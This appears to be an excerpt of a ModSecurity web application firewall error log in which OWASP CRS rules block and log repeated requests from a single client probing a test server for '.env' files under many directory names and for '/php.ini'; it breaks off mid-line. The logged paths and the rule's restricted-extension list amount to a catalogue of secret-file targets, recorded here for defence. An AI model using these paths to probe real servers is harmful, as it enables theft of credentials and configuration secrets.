[Thu Feb 26 01:03:12.363623 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ops/vagrant/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P5gAAAAU&quot;]
[Thu Feb 26 01:03:12.363763 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ops/vagrant/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P5gAAAAU&quot;]
[Thu Feb 26 01:03:12.379318 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /patchwork/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/patchwork/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElAwAAAAM&quot;]
[Thu Feb 26 01:03:12.379527 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/patchwork/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElAwAAAAM&quot;]
[Thu Feb 26 01:03:12.379677 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/patchwork/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElAwAAAAM&quot;]
[Thu Feb 26 01:03:12.389407 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /option/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/option/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P5wAAAAU&quot;]
[Thu Feb 26 01:03:12.389610 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/option/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P5wAAAAU&quot;]
[Thu Feb 26 01:03:12.389747 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/option/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P5wAAAAU&quot;]
[Thu Feb 26 01:03:12.417785 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /orientdb-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orientdb-client/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P6AAAAAU&quot;]
[Thu Feb 26 01:03:12.418000 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orientdb-client/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P6AAAAAU&quot;]
[Thu Feb 26 01:03:12.418144 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orientdb-client/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P6AAAAAU&quot;]
[Thu Feb 26 01:03:12.435398 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElBAAAAAM&quot;]
[Thu Feb 26 01:03:12.435623 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElBAAAAAM&quot;]
[Thu Feb 26 01:03:12.435773 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/path/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElBAAAAAM&quot;]
[Thu Feb 26 01:03:12.446687 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /outputs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/outputs/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P6QAAAAU&quot;]
[Thu Feb 26 01:03:12.446900 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/outputs/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P6QAAAAU&quot;]
[Thu Feb 26 01:03:12.447040 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/outputs/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P6QAAAAU&quot;]
[Thu Feb 26 01:03:12.482300 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /owncloud/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/owncloud/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P6gAAAAU&quot;]
[Thu Feb 26 01:03:12.482563 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/owncloud/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P6gAAAAU&quot;]
[Thu Feb 26 01:03:12.482727 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/owncloud/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P6gAAAAU&quot;]
[Thu Feb 26 01:03:12.483956 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pfbe/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pfbe/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElBQAAAAM&quot;]
[Thu Feb 26 01:03:12.484186 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pfbe/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElBQAAAAM&quot;]
[Thu Feb 26 01:03:12.484333 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pfbe/.env&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElBQAAAAM&quot;]
[Thu Feb 26 01:03:12.514700 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElBgAAAAM&quot;]
[Thu Feb 26 01:03:12.515182 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElBgAAAAM&quot;]
[Thu Feb 26 01:03:12.515329 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.ini&quot;] [unique_id &quot;aZ-NwA3HqGC30X9HPoElBgAAAAM&quot;]
[Thu Feb 26 01:03:12.559580 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packages/styled-ui-docs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/styled-ui-docs/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P7AAAAAU&quot;]
[Thu Feb 26 01:03:12.559806 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/styled-ui-docs/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P7AAAAAU&quot;]
[Thu Feb 26 01:03:12.559952 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/styled-ui-docs/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P7AAAAAU&quot;]
[Thu Feb 26 01:03:12.583545 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packages/web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/web/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P7QAAAAU&quot;]
[Thu Feb 26 01:03:12.583747 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/web/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P7QAAAAU&quot;]
[Thu Feb 26 01:03:12.583884 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages/web/.env&quot;] [unique_id &quot;aZ-NwCk1SHHL9bIjTI-P7QAAAAU&quot;]
[Thu Feb 26 01:03:12.607751 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /packed/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag 